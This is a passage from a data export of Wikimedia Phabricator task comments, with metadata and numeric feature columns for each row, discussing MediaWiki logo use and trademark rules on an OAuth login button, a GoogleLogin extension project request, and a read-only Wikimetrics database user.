Proposing this task as pre-Day 1 because it is related with the ""out of the box experience"", where it is worth polishing these details."
4435,Wikimedia name and logo in Wikimedia SUL login button,I've submitted the change to upstream to include the square brackets in the logo sprite: https://secure.phabricator.com/D10752,,,1414554847,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.8333333333333334,I've submitted the change to upstream to include the square brackets in the logo sprite: URL
4415,Wikimedia name and logo in Wikimedia SUL login button,"@qgil thats helpful but a slightly different context, in all those cases the user is interacting with a specific entity. Google, facebook, github, etc. in our case the user is dealing with a piece of software installable by anyone. Thanks for showing the context it could be used outside of our use case",,,1414536060,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,2.0,2.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,2.0,3.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,3.0,4.213114754098361,0.7213114754098361,"SCREEN_NAME thats helpful but a slightly different context, in all those cases the user is interacting with a specific entity. Google, facebook, github, etc. in our case the user is dealing with a piece of software installable by anyone. Thanks for showing the context it could be used outside of our use case"
4414,Wikimedia name and logo in Wikimedia SUL login button,"See the natural context of this button: https://secure.phabricator.com/auth/start/

>>! In T543#16353, @Heather wrote:
> Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.

The template of the button includes an image, so let's use the official MediaWiki logo for now (T958).

",,,1414535793,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,18.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.8157894736842105,"See the natural context of this button: URL

QUOTE
QUOTE

The template of the button includes an image, so let's use the official MediaWiki logo for now (T958).

"
4413,Wikimedia name and logo in Wikimedia SUL login button,"See the natural context of this button: https://secure.phabricator.com/auth/start/

>>! In T543#16353, @Heather wrote:
> Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.

The template of the button includes an image, so let's use the official MediaWiki logo (T958).

",,,1414535779,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,6.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8055555555555556,"See the natural context of this button: URL

QUOTE
QUOTE

The template of the button includes an image, so let's use the official MediaWiki logo (T958).

"
4404,Wikimedia name and logo in Wikimedia SUL login button,"My recommendation is to upstream a control called with no icon and the text ""Login with Mediawiki"" and when we can make a purpose-built controls with some amount of branding for ourselves, both the language ""WikiID"" and a term and iconography specific to the foundation. 



",,,1414534175,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,7.0,2.0,9.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,7.0,0.0,6.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,4.2592592592592595,0.7592592592592593,"My recommendation is to upstream a control called with no icon and the text ""Login with Mediawiki"" and when we can make a purpose-built controls with some amount of branding for ourselves, both the language ""WikiID"" and a term and iconography specific to the foundation. 



"
4400,Wikimedia name and logo in Wikimedia SUL login button,Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.,,,1414532652,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9310344827586206,0.7586206896551724,Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.
4398,Wikimedia name and logo in Wikimedia SUL login button,"I've asked Yana if it's a trademark problem. Branding-wise, the flower alone is probably the best solution with what you have, and we don't have strong guidelines set for Mediawiki. I made a black and white (but not exactly pretty) version for the trademark recording process if it helps at all. The flower with brackets is fairly hard to parse at small scale as we know.
{F542}",,,1414531039,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,8.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,12.0,5.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.7710843373493974,0.7710843373493976,"I've asked Yana if it's a trademark problem. Branding-wise, the flower alone is probably the best solution with what you have, and we don't have strong guidelines set for Mediawiki. I made a black and white (but not exactly pretty) version for the trademark recording process if it helps at all. The flower with brackets is fairly hard to parse at small scale as we know.
{F542}"
4397,Wikimedia name and logo in Wikimedia SUL login button,to clarify @mmodell point is that the implementation we are using now is //mediawiki// specific not //wikimedia// specific. e.g. if someone had their own mediawiki install and phabricator install set up they could use their own mediawiki install to use for login. So why my design was specific to our use case @mmodell would prefer we have something reusable by others. @mmodell correct me if i misunderstood any of that please. ,,,1414529935,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1.0,3.0,0.0,0.0,1.0,10.0,4.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,14.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,3.0,5.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,12.0,14.0,1.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,5.027397260273973,0.7534246575342466,to clarifySCREEN_NAME point is that the implementation we are using now is //mediawiki// specific not //wikimedia// specific. e.g. if someone had their own mediawiki install and phabricator install set up they could use their own mediawiki install to use for login. So why my design was specific to our use caseSCREEN_NAME would prefer we have something reusable by others.SCREEN_NAME correct me if i misunderstood any of that please. 
4395,Wikimedia name and logo in Wikimedia SUL login button,"Why is it just using part of the logo? Can the flower/button just be removed? Otherwise I think we need a stronger solution for the logo in this sort of context.

And yeah, the log in process is really confusing. I already forgot that I wanted to use the bottom button instead of the much more prominent box after I logged myself out.",,,1414529602,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,14.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,11.0,3.0,1.0,11.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,10.0,14.0,0.0,3.0,0.0,0.0,10.0,0.0,1.0,1.0,1.0,1.0,3.0,0.0,0.0,3.7916666666666665,0.75,"Why is it just using part of the logo? Can the flower/button just be removed? Otherwise I think we need a stronger solution for the logo in this sort of context.

And yeah, the log in process is really confusing. I already forgot that I wanted to use the bottom button instead of the much more prominent box after I logged myself out."
4390,Wikimedia name and logo in Wikimedia SUL login button,"@heather a stylized version of the mediawiki flower is being used on an upstream submission to phabricator, is this an issue from comms/branding perspective? you can see it in action [[ https://phabricator.wikimedia.org/auth/start/ | here ]] when you are logged out. 
",,,1414528125,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,4.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,12.0,2.0,2.0,0.0,0.0,6.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,3.9375,0.8958333333333334,"SCREEN_NAME a stylized version of the mediawiki flower is being used on an upstream submission to phabricator, is this an issue from comms/branding perspective? you can see it in action [[ URL | here ]] when you are logged out. 
"
2944,Wikimedia name and logo in Wikimedia SUL login button,"Understood, and I imagined that this was the cause. Ok, we can revisit this if/when we have other wikis using this plugin and all of them want their own branding.  :)

I still fear that many users will be confused about the MediaWiki button (""But I don't have a mediawiki.org account!"", even if that is not true). Let's discuss at {T545}",,,1412413111,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-39,True,2.0,0.0,0.0,1.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,6.0,4.0,10.0,0.0,1.0,1.0,0.0,6.0,1.0,1.0,0.0,10.0,9.0,4.0,0.0,2.0,0.0,10.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.475,0.8,"Understood, and I imagined that this was the cause. Ok, we can revisit this if/when we have other wikis using this plugin and all of them want their own branding.  :)

I still fear that many users will be confused about the MediaWiki button (""But I don't have a mediawiki.org account!"", even if that is not true). Let's discuss at {T545}"
2942,Wikimedia name and logo in Wikimedia SUL login button,"The image and name was chosen because the plugin was submitted upstream for inclusion in Phabricator. It's not a plugin for the Wikimedia organization, it's in fact MediaWiki oauth and can be used by any phabricator user who needs to authenticate against a mediawiki install.

The complication is this:  It's not very easy to customize the logo because it's incorporated into a sprite sheet image and the image will change upstream every time they include a new oauth plugin for another 3rd party service. It will become quite cumbersome to deal with the merge conflicts every time we want to update phabricator and pull in conflicting changes from upstream.",,,1412379076,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-39,True,2.0,0.0,0.5,1.5,1.0,4.5,0.5,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,11.5,0.0,3.0,0.0,0.0,0.0,1.0,0.5,0.0,2.0,0.5,1.5,0.0,5.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,17.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,2.0,4.5,1.5,2.5,10.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,11.5,1.5,0.0,0.0,0.0,5.0,0.0,0.5,2.5,0.0,1.0,0.0,0.0,0.0,4.555191256830601,0.7934426229508197,"The image and name was chosen because the plugin was submitted upstream for inclusion in Phabricator. It's not a plugin for the Wikimedia organization, it's in fact MediaWiki oauth and can be used by any phabricator user who needs to authenticate against a mediawiki install.

The complication is this:  It's not very easy to customize the logo because it's incorporated into a sprite sheet image and the image will change upstream every time they include a new oauth plugin for another 3rd party service. It will become quite cumbersome to deal with the merge conflicts every time we want to update phabricator and pull in conflicting changes from upstream."
316,GoogleLogin as project in Phabricator,"I would like to ask, if my little project [[ https://www.mediawiki.org/wiki/Extension:GoogleLogin | GoogleLogin ]] can become a project place here in phabricator?

The Extension provides a ""Login with Google"" functionallity to MediaWiki to login into the MediaWiki account using the Google Login information.

If yes: The standard permissions looks good :)

Reference: http://lists.wikimedia.org/pipermail/wikitech-l/2014-July/077767.html",Needs Triage,90.0,1406120589,1410486240.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-udaznqsf7vqxjw4x77h6,task_description,resolved,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,3.0,0.0,9.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,12.0,2.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,4.2153846153846155,0.7538461538461538,"I would like to ask, if my little project [[ URL | GoogleLogin ]] can become a project place here in phabricator?

The Extension provides a ""Login with Google"" functionallity to MediaWiki to login into the MediaWiki account using the Google Login information.

If yes: The standard permissions looks good :)

Reference: URL"
2240,GoogleLogin as project in Phabricator,//importing issue status//,,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
2239,GoogleLogin as project in Phabricator,"**Florian** wrote on `2014-07-29 18:35:14 (UTC)`

Thanks @qgil!",,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.7272727272727273,"**Florian** wrote on CODE

ThanksSCREEN_NAME!"
2238,GoogleLogin as project in Phabricator,"**qgil** wrote on `2014-07-29 13:41:20 (UTC)`

Project created at http://fab.wmflabs.org/project/view/63/

There is an ongoing discussion about project naming conventions, but I don't think we need to make @Florian wait more. All projects in this instance have been created without any convention and they can be renamed if needed.",,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,4.0,0.0,0.0,4.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,11.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.218181818181818,0.8909090909090909,"**qgil** wrote on CODE

Project created at URL

There is an ongoing discussion about project naming conventions, but I don't think we need to makeSCREEN_NAME wait more. All projects in this instance have been created without any convention and they can be renamed if needed."
76109,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"[] change puppet database module to add a new read-only user named ""research""",High,80.0,1417043276,1418757692.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-mwkkwzbzlkvdl4w2og44,False,PHID-TASK-hfmtbwcebs3opo364lfx,task_description,resolved,True,c3,1,True,False,True,-32,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,3.611111111111111,0.9444444444444444,"[] change puppet database module to add a new read-only user named ""research"""
601644,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267867 had a related patch set uploaded (by Alexandros Kosiaris):
otrs: OTRS search slow, increase between_bytes_timeout

[[https://gerrit.wikimedia.org/r/267867]]
",,,1454417757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.448275862068965,0.896551724137931,"Change 267867 had a related patch set uploaded (by Alexandros Kosiaris):
otrs: OTRS search slow, increase between_bytes_timeout

[[GERRIT_URL]]
"
601643,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267868 had a related patch set uploaded (by Alexandros Kosiaris):
misc-web: Route ticket.wikimedia.org to mendelevium

[[https://gerrit.wikimedia.org/r/267868]]
",,,1454417756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.379310344827586,0.896551724137931,"Change 267868 had a related patch set uploaded (by Alexandros Kosiaris):
misc-web: Route ticket.wikimedia.org to mendelevium

[[GERRIT_URL]]
"
601642,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267872 had a related patch set uploaded (by Alexandros Kosiaris):
ticket.wikimedia.org: Move over to misc-web

[[https://gerrit.wikimedia.org/r/267872]]
",,,1454417685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.103448275862069,0.896551724137931,"Change 267872 had a related patch set uploaded (by Alexandros Kosiaris):
ticket.wikimedia.org: Move over to misc-web

[[GERRIT_URL]]
"
400655,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 180222 abandoned by Milimetric:
Adding 'research' read only user to wikimetrics db

Reason:
though this change seems good and complete, it looks like we're not going to use it.

[[https://gerrit.wikimedia.org/r/180222]]",,,1421420763,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,11.0,9.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,3.760869565217391,0.8260869565217391,"Change 180222 abandoned by Milimetric:
Adding 'research' read only user to wikimetrics db

Reason:
though this change seems good and complete, it looks like we're not going to use it.

[[GERRIT_URL]]"
